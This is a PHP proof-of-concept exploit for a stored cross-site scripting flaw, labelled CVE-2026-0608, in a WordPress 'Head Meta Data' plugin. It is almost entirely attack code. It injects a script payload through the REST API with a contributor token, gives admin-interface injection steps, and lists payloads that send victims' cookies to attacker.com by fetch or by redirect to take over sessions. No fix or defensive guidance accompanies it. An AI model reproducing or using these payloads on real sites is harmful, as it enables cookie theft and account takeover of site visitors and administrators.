CVE-2026-0608 WordPress Head Meta Data插件存储型XSS漏洞

<?php /** * CVE-2026-0608 PoC - WordPress Head Meta Data Stored XSS * Author: Security Researcher * Description: Stored XSS via head-meta-data post meta field */ // Method 1: Using WordPress REST API (requires contributor+ access) $target_url = 'http://target-site.com/wp-json/wp/v2/posts/POST_ID'; $auth_token = 'YOUR_CONTRIBUTOR_TOKEN'; $malicious_payload = '<script>alert(document.cookie)</script>'; $data = array( 'meta' => array( 'head-meta-data' => $malicious_payload ) ); $ch = curl_init($target_url); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Authorization: Bearer ' . $auth_token )); $response = curl_exec($ch); curl_close($ch); // Method 2: Using WordPress admin interface // 1. Login as contributor or higher // 2. Create/Edit a post // 3. Add custom field 'head-meta-data' with value: <script>alert(document.cookie)</script> // 4. Save/publish the post // 5. Any user visiting the post will execute the injected JavaScript // Example XSS payload for cookie theft: $cookie_stealer = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Example payload for session hijacking: $session_hijack = '<script>document.location="https://attacker.com/phishing?session="+btoa(document.cookie)</script>'; ?>